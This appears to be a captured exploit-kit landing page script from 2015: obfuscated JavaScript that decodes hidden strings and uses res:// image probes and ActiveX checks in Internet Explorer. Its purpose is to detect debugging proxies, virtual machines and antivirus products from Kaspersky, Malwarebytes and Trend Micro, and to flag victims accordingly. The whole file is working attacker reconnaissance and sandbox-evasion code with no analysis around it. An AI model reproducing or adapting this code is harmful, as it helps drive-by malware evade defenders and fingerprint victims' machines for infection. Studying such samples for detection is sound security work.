Landing_2015-06-14

G6rt$edR = function() {
    var date = new Date();
    var curDate = null;
    do {
        curDate = new Date();
    } while (curDate - date < 800);
};

function lockV() {
    ECJCqHohr = true;
    window.cfrujgdyj = window.cfrujgdys = window.cfrujgdyf1 = window.cfrujgdyf2 = false;
}

function lockA() {
    ECJCqHohA = true;
}

function dec(line) {
    var result = "",
        array = line.match(/(..)/g);
    for (var i = 0; i < array.length; i++) {
        result += String.fromCharCode(parseInt(array[i], 32) / 2);
    }
    return result;
}

function tst(s, lf) {
    var x = new Image();
    x.onload = lf;
    x.src = dec(s);
    document.body.appendChild(x);
    return 0;
}

function tst_pf(f, lf) {
    tst('746a763k2u2u463k5o50746u6e74626q204c6i6o6a76202g7g3g3c2i5o' + f, lf); /* res://C:\Program Files (x86)\ */
    tst('746a763k2u2u463k5o50746u6e74626q204c6i6o6a765o' + f, lf); /* res://C:\Program Files\ */
}

function tstV() {
    if (navigator.userAgent.indexOf('MSIE') == -1 && navigator.appVersion.indexOf('Trident/') == -1) {
        return;
    }
    var kll, p0 = 'Kaspersky.IeVirtualKeyboardPlugin.JavascriptApi.',
        p1 = p0 + '1',
        p2 = p0 + '4_5_0.1';
    try {
        kll = new ActiveXObject(p1);
        lockA();
    } catch (e) {
        kll = false;
        try {
            kll = new ActiveXObject(p2);
            lockA();
        } catch (u) {
            kll = false;
        }
    }
    if (kll) {
        return;
    }
    var pathdata = ['4c6i68686o6a74345o4c6i68686o6a742s6a7g6a2u26362u2636343a3234', / *Fiddler2\Fiddler.exe/#3/#32512 */ '5c4q7e62746a5o5c4q7e62746a20586u6u6o765o5850427a786u466u6s6s567c662s6a7g6a2u26342u26343c3a3c3e', /* VMware\VMware Tools\TPAutoConnSvc.exe/#2/#26567 */ '5c4q7e62746a5o5c4q7e62746a20586u6u6o765o5850427a786u466u6s6s567c662s6a7g6a2u26342u2636303i3i3c',  /* VMware\VMware Tools\TPAutoConnSvc.exe/#2/#30996 */ '4u7462666o6a5o5c6i74787a626o446u7g204e7a6a7678204268686i786i6u6s765o7a6s6i6s76782s6a7g6a2u26342u26323230', /* Oracle\VirtualBox Guest Additions\uninst.exe/#2/#110 */ '506274626o6o6a6o765o506274626o6o6a6o7620586u6u6o765o4270706o6i6662786i6u6s765o766a787a705u6s62786i7c6a6o6u6u6m2s6a7g6a2u26342u26343038' /* Parallels\Parallels Tools\Applications\setup_nativelook.exe/#2/#204 */ , '4q626o7e62746a647i786a7620426s786i2q4q626o7e62746a5o6q64626q6a7g782s686o6o2u26342u343034' /* Malwarebytes Anti-Malware\mbamext.dll/#2/202 */, '4q626o7e62746a647i786a7620426s786i2q4q626o7e62746a5o7a6s6i6s763030302s6a7g6a2u26342u484i564m4i4q424e4a' /* Malwarebytes Anti-Malware\unins000.exe/#2/DISKIMAGE */, "4q626o7e62746a647i786a7620426s786i2q4a7g706o6u6i785o6q64626a2s6a7g6a2u26342u343030" /* Malwarebytes Anti-Exploit\mbae.exe/#2/200 */, "4q626o7e62746a647i786a7620426s786i2q4a7g706o6u6i785o6q64626a2s6a7g6a2u26342u343032", /*Malwarebytes Anti-Exploit\mbae.exe/#2/201*/ "4q626o7e62746a647i786a7620426s786i2q4a7g706o6u6i785o7a6s6i6s763030302s6a7g6a2u26342u484i564m4i4q424e4a" /* Malwarebytes Anti-Exploit\unins000.exe/#2/DISKIMAGE */];
    for (var i = 0; i < pathdata.length; ++i) tst_pf(pathdata[i], lockV);
}

function tstA() {
    var p2 = "5o4m6276706a74766m7i204o62645o4m6276706a74766m7i20", /* \Kaspersky Lab\Kaspersky */
        p3 = "426s786i2q5c6i747a7620", /* Anti-Virus  */
        p40 = "4i6s786a746s6a7820566a667a746i787i20", /* Internet Security  */
        p41 = "586u78626o20566a667a746i787i20", /* Total Security  */
        p42 = "505a544a", /* PURE*/
        p43 = "46545i5658424o20", /* CRYSTAL  */
        p5 = "5o766g6a6o6o6a7g2s686o6o2u26342u26323034", /* \shellex.dll/#2/#102 */
        p6 = "5o6q6c6638342s686o6o2u26342u26343c3a3c3e", /* \mfc42.dll/#2/#26567 */
        pathdata = ['4q626o7e62746a647i786a7620426s786i2q4q626o7e62746a5o6q64626q6a7g782s686o6o2u26342u343034',  /* Malwarebytes Anti-Malware\mbamext.dll/#2/202*/ '4q626o7e62746a647i786a7620426s786i2q4q626o7e62746a5o7a6s6i6s763030302s6a7g6a2u26342u484i564m4i4q424e4a', /*Malwarebytes Anti-Malware\unins000.exe/#2/DISKIMAGE*/ "4q626o7e62746a647i786a7620426s786i2q4a7g706o6u6i785o6q64626a2s6a7g6a2u26342u343030", /* Malwarebytes Anti-Exploit\mbae.exe/#2/200*/ "4q626o7e62746a647i786a7620426s786i2q4a7g706o6u6i785o6q64626a2s6a7g6a2u26342u343032", /* Malwarebytes Anti-Exploit\mbae.exe/#2/201 */ "4q626o7e62746a647i786a7620426s786i2q4a7g706o6u6i785o7a6s6i6s763030302s6a7g6a2u26342u484i564m4i4q424e4a" /* Malwarebytes Anti-Exploit\unins000.exe/#2/DISKIMAGE */ , '58746a6s68204q6i66746u5o586i78626s6i7a6q5o586q466u6s6c6i6e2s686o6o2u26342u2636303i3i38', /* Trend Micro\Titanium\TmConfig.dll/#2/#30994* */ '58746a6s68204q6i66746u5o586i78626s6i7a6q5o586q567i76786a6q466g6a666m6i6s6e2s686o6o2u26342u2636303i3i38' /*Trend Micro\Titanium\TmSystemChecking.dll/#2/#30994*/ , p2 + p3 + '3c2s30206c6u74205e6i6s686u7e76205e6u746m767862786i6u6s76' /* 6.0 for Windows Workstations*/ + p5, p2 + p3 + '3c2s30' + p5, p2 + p3 + '3e2s30' + p5, p2 + p3 + '3430303i' + p6, p2 + p3 + '34303230' + p6, p2 + p3 + '343032325o627c7k6m746s6o2s686o6o2u26342u4444424o4o' /* 2011\avzkrnl.dll/#2/BBALL*/, p2 + p3 + '343032345o7g3g3c' + p6, p2 + p3 + '343032365o7g3g3c' + p6, p2 + p3 + '32382s302s305o7g3g3c' + p6, p2 + p3 + '323a2s302s305o7g3g3c' + p6, p2 + p3 + '323a2s302s325o7g3g3c' + p6, p2 + p3 + '323a2s302s345o7g3g3c' + p6, p2 + p40 + '3c2s30' + p5, p2 + p40 + '3e2s30' + p5, p2 + p40 + '3430303i' + p6, p2 + p40 + '34303230' + p6, p2 + p40 + '343032325o627c7k6m746s6o2s686o6o2u26342u4444424o4o' /* 2011\avzkrnl.dll/#2/BBALL*/, p2 + p40 + '343032345o7g3g3c' + p6, p2 + p40 + '343032365o7g3g3c' + p6, p2 + p40 + '32382s302s305o7g3g3c' + p6, p2 + p40 + '323a2s302s305o7g3g3c' + p6, p2 + p40 + '323a2s302s325o7g3g3c' + p6, p2 + p40 + '323a2s302s345o7g3g3c' + p6, p2 + p41 + '32382s302s305o7g3g3c' + p6, p2 + p41 + '323a2s302s305o7g3g3c' + p6, p2 + p41 + '323a2s302s325o7g3g3c' + p6, p2 + p41 + '323a2s302s345o7g3g3c' + p6, p2 + p42 + '20342s305o7g3g3c' + p6, p2 + p42 + '20362s305o7g3g3c' + p6, p2 + p43 + '362s305o7g3g3c' /* 3.0\x86 */ + p6, p2 + p42 + p6];
    for (var i = 0; i < pathdata.length; ++i) tst_pf(pathdata[i], lockA);
    p2 = p3 = p40 = p41 = p42 = p43 = p5 = p6 = pathdata = null;
}
tstV();
tstA();